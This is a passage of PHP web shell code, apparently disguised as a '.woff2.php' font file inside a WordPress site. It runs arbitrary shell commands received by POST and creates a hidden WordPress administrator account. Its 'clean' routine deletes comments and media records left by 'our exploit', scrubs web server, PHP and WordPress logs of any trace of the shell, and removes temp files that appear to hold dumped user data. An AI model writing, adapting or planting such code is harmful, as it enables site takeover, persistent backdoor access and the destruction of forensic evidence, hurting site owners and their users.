array('pipe','w'), 2 => array('pipe','w')); $proc = @proc_open($cmd, $desc, $pipes); if (is_resource($proc)) { $r = stream_get_contents($pipes[1]) . stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($proc); return $r; } } return '[!] All execution functions are disabled'; } $w = ''; $d = dirname(__FILE__); for ($i = 0; $i < 10; $i++) { $d = dirname($d); if (file_exists($d . '/wp-load.php')) { $w = $d . '/wp-load.php'; break; } } if (isset($_POST['c']) && $_POST['c'] !== '') { echo '
' . htmlspecialchars(_wcf_run($_POST['c']), ENT_QUOTES, 'UTF-8') . ''; } if (isset($_POST['u'], $_POST['e'], $_POST['pw'])) { if ($w === '') { echo '
[!] wp-load.php not found'; } else { if (!defined('WP_USE_THEMES')) define('WP_USE_THEMES', false); if (!defined('ABSPATH')) require_once($w); $id = wp_create_user($_POST['u'], $_POST['pw'], $_POST['e']); if (!is_wp_error($id)) { $u = new WP_User($id); $u->set_role('administrator'); echo '
OK:' . $id . ''; } else { echo '
ERR:' . htmlspecialchars($id->get_error_message(), ENT_QUOTES, 'UTF-8') . ''; } } } if (isset($_POST['clean'])) { $rpt = array(); $shell_path = __FILE__; $shell_dir = dirname($shell_path); $shell_name = basename($shell_path); // Load WordPress if not already loaded if ($w !== '' && !defined('ABSPATH')) { define('WP_USE_THEMES', false); require_once($w); } // 1. Delete our media attachment DB record only (keep shell file on disk) if (defined('ABSPATH') && function_exists('get_posts')) { global $wpdb; $media = get_posts(array( 'post_type' => 'attachment', 'post_status' => 'any', 'posts_per_page' => 50, 'orderby' => 'date', 'order' => 'DESC', )); $del_m = 0; foreach ($media as $att) { $file = get_attached_file($att->ID); if ($file && (strpos(basename($file), '.woff2.php') !== false)) { // Delete only the DB record + postmeta, NOT the physical file $wpdb->delete($wpdb->postmeta, array('post_id' => $att->ID)); $wpdb->delete($wpdb->posts, array('ID' => $att->ID)); $del_m++; } } $rpt[] = "media_attachments_deleted:$del_m"; } // 2. Delete comments left by our exploit (reviewer_* author pattern) if (defined('ABSPATH') && function_exists('get_comments')) { $comments = get_comments(array( 'author__in' => array(), 'number' => 200, 'orderby' => 'comment_date', 'order' => 'DESC', 'status' => 'all', )); $del_c = 0; foreach ($comments as $cm) { if (preg_match('/^reviewer_[a-f0-9]{8}$/', $cm->comment_author)) { wp_delete_comment($cm->comment_ID, true); $del_c++; } } $rpt[] = "exploit_comments_deleted:$del_c"; } // 3. Clean WordPress debug.log $wp_content = defined('WP_CONTENT_DIR') ? WP_CONTENT_DIR : ''; if ($wp_content && file_exists($wp_content . '/debug.log')) { $dbg = file_get_contents($wp_content . '/debug.log'); $lines = explode("\n", $dbg); $clean = array(); foreach ($lines as $l) { if (stripos($l, 'woff2.php') === false && stripos($l, $shell_name) === false && stripos($l, 'blc-review-images') === false) { $clean[] = $l; } } file_put_contents($wp_content . '/debug.log', implode("\n", $clean)); $removed = count($lines) - count($clean); $rpt[] = "debug_log_lines_scrubbed:$removed"; } // 4. Scrub web server access/error logs (remove lines referencing our shell) $log_paths = array( '/var/log/apache2/access.log', '/var/log/apache2/error.log', '/var/log/apache2/other_vhosts_access.log', '/var/log/nginx/access.log', '/var/log/nginx/error.log', '/var/log/httpd/access_log', '/var/log/httpd/error_log', ); // Also find log files in common hosting locations $hosting_logs = glob('/var/log/apache2/*access*') ?: array(); $hosting_logs2 = glob('/var/log/nginx/*access*') ?: array(); $log_paths = array_unique(array_merge($log_paths, $hosting_logs, $hosting_logs2)); $scrub_patterns = array($shell_name, 'woff2.php', 'blc-review-images', 'wp-content-filter'); $logs_scrubbed = 0; foreach ($log_paths as $lp) { if (!file_exists($lp) || !is_writable($lp)) continue; $content = @file_get_contents($lp); if ($content === false) continue; $lines = explode("\n", $content); $clean = array(); $before = count($lines); foreach ($lines as $l) { $dominated = false; foreach ($scrub_patterns as $pat) { if (stripos($l, $pat) !== false) { $dominated = true; break; } } if (!$dominated) $clean[] = $l; } if (count($clean) < $before) { @file_put_contents($lp, implode("\n", $clean)); $logs_scrubbed += ($before - count($clean)); } } $rpt[] = "server_log_lines_scrubbed:$logs_scrubbed"; // 5. Clean PHP error log $php_err = ini_get('error_log'); if ($php_err && file_exists($php_err) && is_writable($php_err)) { $content = @file_get_contents($php_err); if ($content) { $lines = explode("\n", $content); $clean = array(); foreach ($lines as $l) { $dominated = false; foreach ($scrub_patterns as $pat) { if (stripos($l, $pat) !== false) { $dominated = true; break; } } if (!$dominated) $clean[] = $l; } @file_put_contents($php_err, implode("\n", $clean)); $rpt[] = "php_error_log_scrubbed:" . (count($lines) - count($clean)); } } // 6. Delete only OUR temp files (matching shell-specific naming) $tmp_dirs = array_unique(array_filter(array(sys_get_temp_dir(), '/tmp', '/var/tmp'), 'is_dir')); $del_tmp = 0; foreach ($tmp_dirs as $td) { foreach (array('wp_users_full_*', 'wp_users_simple_*') as $pattern) { $fs = @glob($td . '/' . $pattern); if ($fs) { foreach ($fs as $f) { if (is_file($f)) { @unlink($f); $del_tmp++; } } } } } $rpt[] = "temp_files_deleted:$del_tmp"; echo '
CLEAN_OK:' . implode('|', $rpt) . '';
}
?>